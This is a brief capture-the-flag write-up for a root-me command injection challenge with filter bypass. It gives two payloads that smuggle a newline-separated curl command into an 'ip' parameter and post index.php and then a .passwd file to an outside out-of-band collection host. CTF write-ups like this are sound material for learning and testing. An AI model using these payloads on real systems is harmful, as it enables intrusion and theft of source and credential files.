Command injection: filter bypass

root-me challenge: Command injection - Filter bypass: Find a vulnerability in this service and exploit it. Some protections were added. The flag is in the index.php file.

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Either use Burp Collaborator or one of its alternatives:

ip=127.0.0.1+%0A+curl+--data+"@index.php"+jobc0c724o9snp1oq21rh50ex53wrnfc.oastify.com

leading to:

ip=127.0.0.1+%0A+curl+-X+POST+--data+"@.passwd"+jobc0c724o9snp1oq21rh50ex53wrnfc.oastify.com